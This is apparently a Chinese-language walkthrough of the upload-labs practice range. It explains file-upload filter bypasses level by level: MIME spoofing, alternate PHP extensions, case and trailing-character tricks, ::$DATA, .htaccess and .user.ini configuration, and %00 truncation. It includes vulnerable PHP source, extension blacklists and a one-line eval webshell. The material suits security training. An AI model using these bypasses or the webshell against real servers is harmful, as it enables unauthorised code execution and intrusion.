赞
踩
目录
目录
通过源代码可以看出第二关判断的是文件类型,那么上传思路是通过修改数据包的文件类型,然后上传成功
- <?php
- $is_upload = false; #声明is_upload变量为false
- $msg = null; #声明msg变量为null
- if (isset($_POST['submit'])) { #如果isset函数(触发)POST请求的按钮
- if (file_exists(UPLOAD_PATH)) {#如果file_exists函数(文件路径),UPLOAD_PATH配置文件的路径存在
- if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
- #如果name值为upload_file的文件类型值是image/jpeg格式或者image/png } else {#如果第六行代码没有满足要求
- $msg = '文件类型不正确,请重新上传!';#则msg变量为该字句
- }
- } else {#如果第五行代码没有满足要求
- $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';#则显示该路径并连接该字句
- }
- }
- //白名单验证,只要符合条件即可上传
- ?>
- 或者image/gif
- $temp_file = $_FILES['upload_file']['tmp_name'];#则获得upload_file的临时文件名
- $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'] #UPLOAD_PATH配置文件的路径+/+upload_file的文件名
- if (move_uploaded_file($temp_file, $img_path)) {#则移动该文件到img_path的路径
- $is_upload = true;#则变量为正确
- } else {
- $msg = '上传出错!';#否则msg变量为上传出错
- }
-
- ?>
函数学习:
- // trim() 函数移除字符串两侧的空白字符或其他预定义字符。
- // str_ireplace() 函数替换字符串中的一些字符(不区分大小写)。
- //in_array函数检查数组中是否存在某个值。
- //trim() 函数移除字符串两侧的空白字符或其他预定义字符。
通过源代码可以看出这关属于黑名单验证,命名php5,和phtml等操作即可绕过
php3,php4, php5等绕过命名
.phtml、.pht等文件也可以这样写
<? ?>绕过
<script language="php">eval($_POST['c']);</script>
否则上传上去也不能正常执行
- <?php
- $is_upload = false;
- $msg = null;
- if (isset($_POST['submit'])) {
- if (file_exists(UPLOAD_PATH)) {
- $deny_ext = array('.asp','.aspx','.php','.jsp');#创建一个黑名单的数组,这个数组里面的的内容都是拒绝
- $file_name = trim($_FILES['upload_file']['name']);#移除接受的文件名的两边空格
- $file_name = deldot($file_name);//删除文件名末尾的点
- $file_ext = strrchr($file_name, '.');//以点为分隔符,删除点前面的内容
- $file_ext = strtolower($file_ext); //转换为小写
- $file_ext = str_ireplace('::$DATA', '', $file_ext);//把::$DATA替换为空,在$file_ext内容中
- $file_ext = trim($file_ext); //收尾去空
-
- if(!in_array($file_ext, $deny_ext)) {//如果数组中不存在$file_ext和$deny_ext的值
- $temp_file = $_FILES['upload_file']['tmp_name'];
- $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
- if (move_uploaded_file($temp_file,$img_path)) {
- $is_upload = true;
- } else {
- $msg = '上传出错!';
- }
- } else {
- $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
- }
- } else {
- $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
- }
- }
扩展
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
由于代码过滤不全,还是存在上传漏洞
.htaccess仅支持Apache,这个文件一般做伪静态文件,是apache的配置文件,会涉及到网址脚本格式的解析规则,我们可以通过这个文件实现解析的自定义
- <FilesMatch "jpg">//文件匹配到这个文件名
- SetHandler application/x-httpd-php//将以php的文件类型格式执行
- </FilesMatch>
-
-
- 或者是这个
- SetHandler application/x-httpd-php //当服务器接收到带有 application/x-httpd-php MIME 类型的请求时,它会使用 PHP 解释器来处理该请求,执行其中包含的 PHP 代码。
-
- AddType application/x_httpd_php jpg
由于第四关并未过滤.htaccess文件,那么通过上传这个文件,文件的所在目录都以.htaccess的内容为准,最后上传hh.jpg的图片马,访问hh.jpg,发现网址以php格式执行
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
对比第四关可以发现,第四关过滤了.ini文件,但是第五关并没有,只过滤了.htaccess文件
php文件 会优先搜索目录下所有的.ini 文件,并应用其中的配置。
类似于 apache 的.htaccess,但语法与.htacces 不同,语法跟 php.ini 一致。
- auto_prepend_file=hh.jpg
-
- auto_append_file=hh.jpg
-
- //.user.ini中两个中的配置就是auto_prepend_file和auto_append_file。
- 这两个配置的意思就是:我们指定一个文件(如1.jpg),
- 那么该文件就会被包含在要执行的php文件中(如index.php),
- 相当于在index.php中插入一句:require(./1.jpg)。
- 这两个设置的区别只是在于auto_prepend_file是在文件前插入,
- auto_append_file在文件最后插入。
先上传配置文件
再上传包含恶意代码的图片
注意:加@会导致代码运行失败
通过查看源代码得知,没有转换为小写函数strtolower($file_ext)
那么利用此漏洞,构造大写PHP后缀名提交即可绕过
查看源代码,发现没有替换字符两边空格函数
trim($file_ext); //首尾去空
由于windows系统默认不允许空格出现在文件名的最后面,会默认帮我们把空格清除。那么上传文件的时候通过抓包加一个空格就可以绕过了,因为我们的文件名不在黑名单的范围内
查看源代码发现没有此函数deldot($file_name);//删除文件名末尾的点。同理,由于windows系统默认不允许点出现在文件名的最后面,会默认帮我们把点清除。那么上传文件的时候通过抓包加一个点就可以绕过了,因为我们此时的文件名不在黑名单的范围内
file=a.php.
查看源代码对比前面的代码少了::$DATA,这个值是针对windows,PHP在windows的时候如果文件名+“::$DATA”之后数据当成文件流处理,不会被检测后缀名,且保持”::$DATA之前的文件,我们通过此原理进行绕过。
在文件名后面添加::$DATA之后上传就能达到webshell效果了
file=hh.php::$DATA
访问的时候记得去除::$DATA
过滤函数一般存在递归过滤和一次过滤,由于这些函数都是过滤了一次比递归过滤更不安全,那么通过源代码的分析,打开bp修改数据包的文件名为hh.php. .
绕过原理:
末尾的点被deldot函数删除,中间有空格是为了不让前面的点被删除。然后strrchr截取后缀名为”.PHP. “,然后由strtolower函数把后缀名变为小写,通过str_ireplace函数把”::$DATA”替换为空,最后首位去空,后缀名变为”.PHP.”绕过验证,上传至windows时系统自动把末尾点情况
- $file_name = trim($_FILES['upload_file']['name']);
- $file_name = deldot($file_name);//删除文件名末尾的点
- $file_ext = strrchr($file_name, '.');
- $file_ext = strtolower($file_ext); //转换为小写
- $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
- $file_ext = trim($file_ext); //首尾去空
查看源代码发现str_ireplace函数将黑名单的后缀名替换为为空,那么构造双写后缀名即可绕过,也属于一次过滤漏洞
Php函数学习:
str_ireplace() 函数替换字符串中的一些字符(不区分大小写)。
substr() 函数返回字符串的一部分。
strrpos() 函数查找字符串在另一字符串中最后一次出现的位置。
代码分析:
- $ext_arr = array('jpg','png','gif');
- $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);//通过substr函数在upload_name的文件名值中返回,strrpos函数以.递归搜索的后缀名
- if(in_array($file_ext,$ext_arr)){
- $temp_file = $_FILES['upload_file']['tmp_name'];
- $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
-
- //属于白名单验证
%00应用于地址(get请求),0x00应用于文件命名
使用条件:
文件的上传路径可控
php版本小于5.3.4
php的magic_quotes_gpc为OFF状态
演示:
原理,通过截断jpg,最终以php格式执行, 通过发送jpg图片发现最后都是由地址进行解析然后请求,那么%00用于地址应用可以截断后面的文件名jpg格式,%00前面输入xx.php就能使得php后缀间接上传
通过查看源代码发现,文件路径的请求是以get的方式
$img_path = $_GET['save_path']."/".rand(10,99).date("YmdHis").".".$file_ext;
也就是说%00截断的是图片最后一行的filename的文件名,原因在于最后hh.jpg要在地址进行请求,而请求的时候前面已经构造了绕过语句
在httphistory的发现最后请求的发送到upload地址
访问地址,并把后面的字符删除
对比上一关代码,可以发现源代码唯一不同的就是,上传路径的请求方式不同,上一关为get,这关为post。区别在于get会自动解码,post不会解码需要,需要解码后的值。
上传一张正常的图片发现只有一次请求,就上传成功了
对比上一关的请求头,很明显的发现了,请求上传路径是get方式,也就是地址
Save_path意味保存路径,在../upload中添加a.php%00进行post截断
由于post请求方式url需要编码形式而%00本身就属于解码了,所以需要编码
访问a.php,上传成功
有什么不会不懂的都可以问我
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。